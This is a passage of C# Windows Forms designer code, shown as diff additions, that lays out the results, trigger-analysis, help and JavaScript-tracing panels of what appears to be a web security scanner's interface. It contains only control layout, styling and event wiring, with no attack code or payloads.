this.ResultsResponseView.Name = "ResultsResponseView"; + this.ResultsResponseView.ReadOnly = true; + this.ResultsResponseView.Size = new System.Drawing.Size(618, 210); + this.ResultsResponseView.TabIndex = 0; + // + // ResultsTriggerToolsTab + // + this.ResultsTriggerToolsTab.Controls.Add(this.TrigggerAnalysisToolsSplit); + this.ResultsTriggerToolsTab.Location = new System.Drawing.Point(4, 22); + this.ResultsTriggerToolsTab.Name = "ResultsTriggerToolsTab"; + this.ResultsTriggerToolsTab.Size = new System.Drawing.Size(618, 210); + this.ResultsTriggerToolsTab.TabIndex = 3; + this.ResultsTriggerToolsTab.Text = " Trigger Analysis Tools "; + this.ResultsTriggerToolsTab.UseVisualStyleBackColor = true; + // + // TrigggerAnalysisToolsSplit + // + this.TrigggerAnalysisToolsSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.TrigggerAnalysisToolsSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.TrigggerAnalysisToolsSplit.IsSplitterFixed = true; + this.TrigggerAnalysisToolsSplit.Location = new System.Drawing.Point(0, 0); + this.TrigggerAnalysisToolsSplit.Margin = new System.Windows.Forms.Padding(0); + this.TrigggerAnalysisToolsSplit.Name = "TrigggerAnalysisToolsSplit"; + this.TrigggerAnalysisToolsSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // TrigggerAnalysisToolsSplit.Panel1 + // + this.TrigggerAnalysisToolsSplit.Panel1.Controls.Add(this.ResultsScanTracePanel); + this.TrigggerAnalysisToolsSplit.Panel1.Controls.Add(this.ResultsTriggerOptionsPanel); + // + // TrigggerAnalysisToolsSplit.Panel2 + // + this.TrigggerAnalysisToolsSplit.Panel2.Controls.Add(this.ResultsTriggersComparePanel); + this.TrigggerAnalysisToolsSplit.Size = new System.Drawing.Size(618, 210); + this.TrigggerAnalysisToolsSplit.SplitterDistance = 52; + this.TrigggerAnalysisToolsSplit.TabIndex = 3; + // + // ResultsScanTracePanel + // + this.ResultsScanTracePanel.BackColor = System.Drawing.Color.Transparent; + this.ResultsScanTracePanel.Controls.Add(this.ResultsShowScanTraceBtn); + this.ResultsScanTracePanel.Dock = System.Windows.Forms.DockStyle.Bottom; + this.ResultsScanTracePanel.Location = new System.Drawing.Point(0, 26); + this.ResultsScanTracePanel.Name = "ResultsScanTracePanel"; + this.ResultsScanTracePanel.Size = new System.Drawing.Size(618, 26); + this.ResultsScanTracePanel.TabIndex = 1; + this.ResultsScanTracePanel.Visible = false; + // + // ResultsShowScanTraceBtn + // + this.ResultsShowScanTraceBtn.Location = new System.Drawing.Point(7, 1); + this.ResultsShowScanTraceBtn.Name = "ResultsShowScanTraceBtn"; + this.ResultsShowScanTraceBtn.Size = new System.Drawing.Size(600, 23); + this.ResultsShowScanTraceBtn.TabIndex = 44; + this.ResultsShowScanTraceBtn.Text = "Show the Payloads, Requests and Responses associated with the Scan that discovere" + + "d this vulnerability"; + this.ResultsShowScanTraceBtn.UseVisualStyleBackColor = true; + this.ResultsShowScanTraceBtn.Click += new System.EventHandler(this.ResultsShowScanTraceBtn_Click); + // + // ResultsTriggerOptionsPanel + // + this.ResultsTriggerOptionsPanel.BackColor = System.Drawing.Color.Transparent; + this.ResultsTriggerOptionsPanel.Controls.Add(this.label5); + this.ResultsTriggerOptionsPanel.Controls.Add(this.ResultsShowTriggersMenuLL); + this.ResultsTriggerOptionsPanel.Dock = System.Windows.Forms.DockStyle.Top; + this.ResultsTriggerOptionsPanel.Location = new System.Drawing.Point(0, 0); + this.ResultsTriggerOptionsPanel.Name = "ResultsTriggerOptionsPanel"; + this.ResultsTriggerOptionsPanel.Size = new System.Drawing.Size(618, 24); + this.ResultsTriggerOptionsPanel.TabIndex = 0; + this.ResultsTriggerOptionsPanel.Visible = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(61, 5); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(428, 13); + this.label5.TabIndex = 1; + this.label5.Text = "to get options to resend the Request associated with this Trigger or perform simi" + + "lar actions"; + // + // ResultsShowTriggersMenuLL + // + this.ResultsShowTriggersMenuLL.AutoSize = true; + this.ResultsShowTriggersMenuLL.Location = new System.Drawing.Point(8, 5); + this.ResultsShowTriggersMenuLL.Name = "ResultsShowTriggersMenuLL"; + this.ResultsShowTriggersMenuLL.Size = new System.Drawing.Size(54, 13); + this.ResultsShowTriggersMenuLL.TabIndex = 0; + this.ResultsShowTriggersMenuLL.TabStop = true; + this.ResultsShowTriggersMenuLL.Text = "Click here"; + this.ResultsShowTriggersMenuLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ResultsShowTriggersMenuLL_LinkClicked); + // + // ResultsTriggersComparePanel + // + this.ResultsTriggersComparePanel.BackColor = System.Drawing.Color.Transparent; + this.ResultsTriggersComparePanel.Controls.Add(this.DoDiffBtn); + this.ResultsTriggersComparePanel.Controls.Add(this.SelectForDiffTriggersGrid); + this.ResultsTriggersComparePanel.Controls.Add(this.label32); + this.ResultsTriggersComparePanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTriggersComparePanel.Location = new System.Drawing.Point(0, 0); + this.ResultsTriggersComparePanel.Name = "ResultsTriggersComparePanel"; + this.ResultsTriggersComparePanel.Size = new System.Drawing.Size(618, 154); + this.ResultsTriggersComparePanel.TabIndex = 2; + this.ResultsTriggersComparePanel.Visible = false; + // + // DoDiffBtn + // + this.DoDiffBtn.Location = new System.Drawing.Point(189, 24); + this.DoDiffBtn.Name = "DoDiffBtn"; + this.DoDiffBtn.Size = new System.Drawing.Size(255, 23); + this.DoDiffBtn.TabIndex = 43; + this.DoDiffBtn.Text = "Diff Request/Response of Selected Items"; + this.DoDiffBtn.UseVisualStyleBackColor = true; + this.DoDiffBtn.Click += new System.EventHandler(this.DoDiffBtn_Click); + // + // SelectForDiffTriggersGrid + // + this.SelectForDiffTriggersGrid.AllowUserToAddRows = false; + this.SelectForDiffTriggersGrid.AllowUserToDeleteRows = false; + this.SelectForDiffTriggersGrid.AllowUserToOrderColumns = true; + this.SelectForDiffTriggersGrid.AllowUserToResizeRows = false; + this.SelectForDiffTriggersGrid.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.SelectForDiffTriggersGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.SelectForDiffTriggersGrid.BackgroundColor = System.Drawing.Color.White; + this.SelectForDiffTriggersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle19.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle19.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle19.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle19.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle19.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle19.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle19.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.SelectForDiffTriggersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle19; + this.SelectForDiffTriggersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.SelectForDiffTriggersGrid.ColumnHeadersVisible = false; + this.SelectForDiffTriggersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.dataGridViewTextBoxColumn1}); + this.SelectForDiffTriggersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.SelectForDiffTriggersGrid.GridColor = System.Drawing.Color.White; + this.SelectForDiffTriggersGrid.Location = new System.Drawing.Point(8, 7); + this.SelectForDiffTriggersGrid.Margin = new System.Windows.Forms.Padding(0); + this.SelectForDiffTriggersGrid.MultiSelect = false; + this.SelectForDiffTriggersGrid.Name = "SelectForDiffTriggersGrid"; + this.SelectForDiffTriggersGrid.ReadOnly = true; + this.SelectForDiffTriggersGrid.RowHeadersVisible = false; + this.SelectForDiffTriggersGrid.RowHeadersWidth = 10; + this.SelectForDiffTriggersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.SelectForDiffTriggersGrid.Size = new System.Drawing.Size(165, 147); + this.SelectForDiffTriggersGrid.TabIndex = 10; + this.SelectForDiffTriggersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SelectForDiffTriggersGrid_CellClick); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "Select"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Width = 60; + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "Trigger ID"; + this.dataGridViewTextBoxColumn1.MinimumWidth = 30; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + // + // label32 + // + this.label32.AutoSize = true; + this.label32.Location = new System.Drawing.Point(187, 8); + this.label32.Name = "label32"; + this.label32.Size = new System.Drawing.Size(362, 13); + this.label32.TabIndex = 1; + this.label32.Text = "Select two items on the left by clicking on them and press the button below."; + // + // ResultsHelpTab + // + this.ResultsHelpTab.Controls.Add(this.textBox7); + this.ResultsHelpTab.Location = new System.Drawing.Point(4, 22); + this.ResultsHelpTab.Name = "ResultsHelpTab"; + this.ResultsHelpTab.Size = new System.Drawing.Size(618, 210); + this.ResultsHelpTab.TabIndex = 4; + this.ResultsHelpTab.Text = " Help "; + this.ResultsHelpTab.UseVisualStyleBackColor = true; + // + // textBox7 + // + this.textBox7.BackColor = System.Drawing.Color.White; + this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox7.Dock = System.Windows.Forms.DockStyle.Fill; + this.textBox7.Location = new System.Drawing.Point(0, 0); + this.textBox7.Multiline = true; + this.textBox7.Name = "textBox7"; + this.textBox7.ReadOnly = true; + this.textBox7.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.textBox7.Size = new System.Drawing.Size(618, 210); + this.textBox7.TabIndex = 2; + this.textBox7.TabStop = false; + this.textBox7.Text = resources.GetString("textBox7.Text"); + // + // mt_js + // + this.mt_js.Controls.Add(this.JsTraceBaseSplit); + this.mt_js.Location = new System.Drawing.Point(4, 22); + this.mt_js.Name = "mt_js"; + this.mt_js.Size = new System.Drawing.Size(705, 511); + this.mt_js.TabIndex = 12; + this.mt_js.Text = " JavaScript Tracing "; + this.mt_js.UseVisualStyleBackColor = true; + // + // JsTraceBaseSplit + // + this.JsTraceBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.JsTraceBaseSplit.Location = new System.Drawing.Point(0, 0); + this.JsTraceBaseSplit.Name = "JsTraceBaseSplit"; + this.JsTraceBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // JsTraceBaseSplit.Panel1 + // + this.JsTraceBaseSplit.Panel1.Controls.Add(this.label43); + this.JsTraceBaseSplit.Panel1.Controls.Add(this.JsTraceEnableCB); + // + // JsTraceBaseSplit.Panel2 + // + this.JsTraceBaseSplit.Panel2.Controls.Add(this.JsTraceTabs); + this.JsTraceBaseSplit.Size = new System.Drawing.Size(705, 511); + this.JsTraceBaseSplit.SplitterDistance = 43; + this.JsTraceBaseSplit.SplitterWidth = 2; + this.JsTraceBaseSplit.TabIndex = 0; + // + // JsTraceEnableCB + // + this.JsTraceEnableCB.AutoSize = true; + this.JsTraceEnableCB.Location = new System.Drawing.Point(10, 13); + this.JsTraceEnableCB.Name = "JsTraceEnableCB"; + this.JsTraceEnableCB.Size = new System.Drawing.Size(151, 17); + this.JsTraceEnableCB.TabIndex = 23; + this.JsTraceEnableCB.Text = "Enable JavaScript Tracing"; + this.JsTraceEnableCB.UseVisualStyleBackColor = true; + this.JsTraceEnableCB.CheckedChanged += new System.EventHandler(this.JsTraceEnableCB_CheckedChanged); + // + // JsTraceTabs + // + this.JsTraceTabs.Controls.Add(this.tabPage2); + this.JsTraceTabs.Controls.Add(this.tabPage4); + this.JsTraceTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceTabs.Location = new System.Drawing.Point(0, 0); + this.JsTraceTabs.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceTabs.Name = "JsTraceTabs"; + this.JsTraceTabs.Padding = new System.Drawing.Point(0, 0); + this.JsTraceTabs.SelectedIndex = 0; + this.JsTraceTabs.Size = new System.Drawing.Size(705, 466); + this.JsTraceTabs.TabIndex = 0; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.JsTraceResultsBaseSplit); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Margin = new System.Windows.Forms.Padding(0); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Size = new System.Drawing.Size(697, 440); + this.tabPage2.TabIndex = 0; + this.tabPage2.Text = " Results "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // JsTraceResultsBaseSplit + // + this.JsTraceResultsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsBaseSplit.Name = "JsTraceResultsBaseSplit"; + this.JsTraceResultsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // JsTraceResultsBaseSplit.Panel1 + // + this.JsTraceResultsBaseSplit.Panel1.Controls.Add(this.JsTraceResultsTabs); + // + // JsTraceResultsBaseSplit.Panel2 + // + this.JsTraceResultsBaseSplit.Panel2.Controls.Add(this.JsTraceResultsRTB); + this.JsTraceResultsBaseSplit.Size = new System.Drawing.Size(697, 440); + this.JsTraceResultsBaseSplit.SplitterDistance = 243; + this.JsTraceResultsBaseSplit.SplitterWidth = 2; + this.JsTraceResultsBaseSplit.TabIndex = 2; + // + // JsTraceResultsTabs + // + this.JsTraceResultsTabs.Controls.Add(this.JsTraceResultsObservationsTab); + this.JsTraceResultsTabs.Controls.Add(this.JsTraceResultsNativeMethodsTab); + this.JsTraceResultsTabs.Controls.Add(this.JsTraceResultsDomChangesTab); + this.JsTraceResultsTabs.Controls.Add(this.JsTraceResultsAjaxCallsTab); + this.JsTraceResultsTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsTabs.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsTabs.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsTabs.Name = "JsTraceResultsTabs"; + this.JsTraceResultsTabs.Padding = new System.Drawing.Point(0, 0); + this.JsTraceResultsTabs.SelectedIndex = 0; + this.JsTraceResultsTabs.Size = new System.Drawing.Size(697, 243); + this.JsTraceResultsTabs.TabIndex = 1; + this.JsTraceResultsTabs.SelectedIndexChanged += new System.EventHandler(this.JsTraceResultsTab_SelectedIndexChanged); + // + // JsTraceResultsObservationsTab + // + this.JsTraceResultsObservationsTab.Controls.Add(this.JsTraceResultsObservationsGrid); + this.JsTraceResultsObservationsTab.Location = new System.Drawing.Point(4, 22); + this.JsTraceResultsObservationsTab.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsObservationsTab.Name = "JsTraceResultsObservationsTab"; + this.JsTraceResultsObservationsTab.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsObservationsTab.TabIndex = 0; + this.JsTraceResultsObservationsTab.Text = " Observations "; + this.JsTraceResultsObservationsTab.UseVisualStyleBackColor = true; + // + // JsTraceResultsObservationsGrid + // + this.JsTraceResultsObservationsGrid.AllowUserToAddRows = false; + this.JsTraceResultsObservationsGrid.AllowUserToDeleteRows = false; + this.JsTraceResultsObservationsGrid.AllowUserToOrderColumns = true; + this.JsTraceResultsObservationsGrid.AllowUserToResizeRows = false; + this.JsTraceResultsObservationsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.JsTraceResultsObservationsGrid.BackgroundColor = System.Drawing.Color.White; + this.JsTraceResultsObservationsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle42.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle42.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle42.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle42.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle42.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle42.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle42.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.JsTraceResultsObservationsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle42; + this.JsTraceResultsObservationsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.JsTraceResultsObservationsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn2, + this.dataGridViewTextBoxColumn3, + this.Column7, + this.JSTRObservationDetailsClmn}); + this.JsTraceResultsObservationsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsObservationsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.JsTraceResultsObservationsGrid.GridColor = System.Drawing.Color.White; + this.JsTraceResultsObservationsGrid.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsObservationsGrid.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsObservationsGrid.MultiSelect = false; + this.JsTraceResultsObservationsGrid.Name = "JsTraceResultsObservationsGrid"; + this.JsTraceResultsObservationsGrid.ReadOnly = true; + this.JsTraceResultsObservationsGrid.RowHeadersVisible = false; + this.JsTraceResultsObservationsGrid.RowHeadersWidth = 10; + this.JsTraceResultsObservationsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.JsTraceResultsObservationsGrid.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsObservationsGrid.TabIndex = 9; + this.JsTraceResultsObservationsGrid.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.JsTraceResultsObservationsGrid_CellContentClick); + this.JsTraceResultsObservationsGrid.SelectionChanged += new System.EventHandler(this.JsTraceResultsObservationsGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn2.HeaderText = "ID"; + this.dataGridViewTextBoxColumn2.MinimumWidth = 50; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Width = 50; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn3.HeaderText = "TYPE"; + this.dataGridViewTextBoxColumn3.MinimumWidth = 50; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + this.dataGridViewTextBoxColumn3.Width = 60; + // + // Column7 + // + this.Column7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.Column7.HeaderText = "URL"; + this.Column7.Name = "Column7"; + this.Column7.ReadOnly = true; + // + // JSTRObservationDetailsClmn + // + this.JSTRObservationDetailsClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.JSTRObservationDetailsClmn.HeaderText = "DETAILS"; + this.JSTRObservationDetailsClmn.MinimumWidth = 150; + this.JSTRObservationDetailsClmn.Name = "JSTRObservationDetailsClmn"; + this.JSTRObservationDetailsClmn.ReadOnly = true; + this.JSTRObservationDetailsClmn.Visible = false; + this.JSTRObservationDetailsClmn.Width = 578; + // + // JsTraceResultsNativeMethodsTab + // + this.JsTraceResultsNativeMethodsTab.Controls.Add(this.JsTraceResultsMethodCallsGrid); + this.JsTraceResultsNativeMethodsTab.Location = new System.Drawing.Point(4, 22); + this.JsTraceResultsNativeMethodsTab.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsNativeMethodsTab.Name = "JsTraceResultsNativeMethodsTab"; + this.JsTraceResultsNativeMethodsTab.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsNativeMethodsTab.TabIndex = 1; + this.JsTraceResultsNativeMethodsTab.Text = " Native Method Calls "; + this.JsTraceResultsNativeMethodsTab.UseVisualStyleBackColor = true; + // + // JsTraceResultsMethodCallsGrid + // + this.JsTraceResultsMethodCallsGrid.AllowUserToAddRows = false; + this.JsTraceResultsMethodCallsGrid.AllowUserToDeleteRows = false; + this.JsTraceResultsMethodCallsGrid.AllowUserToOrderColumns = true; + this.JsTraceResultsMethodCallsGrid.AllowUserToResizeRows = false; + this.JsTraceResultsMethodCallsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.JsTraceResultsMethodCallsGrid.BackgroundColor = System.Drawing.Color.White; + this.JsTraceResultsMethodCallsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle43.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle43.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle43.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle43.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle43.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle43.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle43.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.JsTraceResultsMethodCallsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle43; + this.JsTraceResultsMethodCallsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.JsTraceResultsMethodCallsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn8, + this.dataGridViewTextBoxColumn13, + this.dataGridViewTextBoxColumn9, + this.dataGridViewTextBoxColumn10, + this.dataGridViewTextBoxColumn11, + this.dataGridViewTextBoxColumn4, + this.JSTRNativeMethodCallDetailsClmn}); + this.JsTraceResultsMethodCallsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.JsTraceResultsMethodCallsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.JsTraceResultsMethodCallsGrid.GridColor = System.Drawing.Color.White; + this.JsTraceResultsMethodCallsGrid.Location = new System.Drawing.Point(0, 0); + this.JsTraceResultsMethodCallsGrid.Margin = new System.Windows.Forms.Padding(0); + this.JsTraceResultsMethodCallsGrid.MultiSelect = false; + this.JsTraceResultsMethodCallsGrid.Name = "JsTraceResultsMethodCallsGrid"; + this.JsTraceResultsMethodCallsGrid.ReadOnly = true; + this.JsTraceResultsMethodCallsGrid.RowHeadersVisible = false; + this.JsTraceResultsMethodCallsGrid.RowHeadersWidth = 10; + this.JsTraceResultsMethodCallsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.JsTraceResultsMethodCallsGrid.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsMethodCallsGrid.TabIndex = 10; + this.JsTraceResultsMethodCallsGrid.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.JsTraceResultsMethodCallsGrid_CellContentClick); + this.JsTraceResultsMethodCallsGrid.SelectionChanged += new System.EventHandler(this.JsTraceResultsMethodCallsGrid_SelectionChanged); + // + // dataGridViewTextBoxColumn8 + // + this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn8.HeaderText = "ID"; + this.dataGridViewTextBoxColumn8.MinimumWidth = 10; + this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; + this.dataGridViewTextBoxColumn8.ReadOnly = true; + this.dataGridViewTextBoxColumn8.Width = 43; + // + // dataGridViewTextBoxColumn13 + // + this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn13.HeaderText = "PAGE ID"; + this.dataGridViewTextBoxColumn13.MinimumWidth = 2; + this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; + this.dataGridViewTextBoxColumn13.ReadOnly = true; + this.dataGridViewTextBoxColumn13.Visible = false; + this.dataGridViewTextBoxColumn13.Width = 2; + // + // dataGridViewTextBoxColumn9 + // + this.dataGridViewTextBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn9.HeaderText = "TIME"; + this.dataGridViewTextBoxColumn9.MinimumWidth = 10; + this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; + this.dataGridViewTextBoxColumn9.ReadOnly = true; + this.dataGridViewTextBoxColumn9.Width = 58; + // + // dataGridViewTextBoxColumn10 + // + this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn10.HeaderText = "ORIGIN"; + this.dataGridViewTextBoxColumn10.MinimumWidth = 20; + this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; + this.dataGridViewTextBoxColumn10.ReadOnly = true; + this.dataGridViewTextBoxColumn10.Width = 70; + // + // dataGridViewTextBoxColumn11 + // + this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn11.HeaderText = "METHOD"; + this.dataGridViewTextBoxColumn11.MinimumWidth = 30; + this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; + this.dataGridViewTextBoxColumn11.ReadOnly = true; + this.dataGridViewTextBoxColumn11.Width = 79; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn4.HeaderText = "URL"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + this.dataGridViewTextBoxColumn4.ReadOnly = true; + // + // JSTRNativeMethodCallDetailsClmn + // + this.JSTRNativeMethodCallDetailsClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.JSTRNativeMethodCallDetailsClmn.HeaderText = "DETAILS"; + this.JSTRNativeMethodCallDetailsClmn.MinimumWidth = 50; + this.JSTRNativeMethodCallDetailsClmn.Name = "JSTRNativeMethodCallDetailsClmn"; + this.JSTRNativeMethodCallDetailsClmn.ReadOnly = true; + this.JSTRNativeMethodCallDetailsClmn.Visible = false; + this.JSTRNativeMethodCallDetailsClmn.Width = 438; + // + // JsTraceResultsDomChangesTab + // + this.JsTraceResultsDomChangesTab.Controls.Add(this.JsTraceResultsDomChangesGrid); + this.JsTraceResultsDomChangesTab.Location = new System.Drawing.Point(4, 22); + this.JsTraceResultsDomChangesTab.Name = "JsTraceResultsDomChangesTab"; + this.JsTraceResultsDomChangesTab.Size = new System.Drawing.Size(689, 217); + this.JsTraceResultsDomChangesTab.TabIndex = 3; + this.JsTraceResultsDomChangesTab.Text = " Dom Changes "; + this.JsTraceResultsDomChangesTab.UseVisualStyleBackColor = true; + // + // JsTraceResultsDomChangesGrid + // + this.JsTraceResultsDomChangesGrid.AllowUserToAddRows = false; + this.JsTraceResultsDomChangesGrid.AllowUserToDeleteRows = false; + this.JsTraceResultsDomChangesGrid.AllowUserToOrderColumns = true; + this.JsTraceResultsDomChangesGrid.AllowUserToResizeRows = false; + this.JsTraceResultsDomChangesGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.JsTraceResultsDomChangesGrid.BackgroundColor = System.Drawing.Color.White; + this.JsTraceResultsDomChangesGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle44.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle44.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle44.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle44.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle44.SelectionBackColor = System.Drawing.SystemColors.Highlight; + 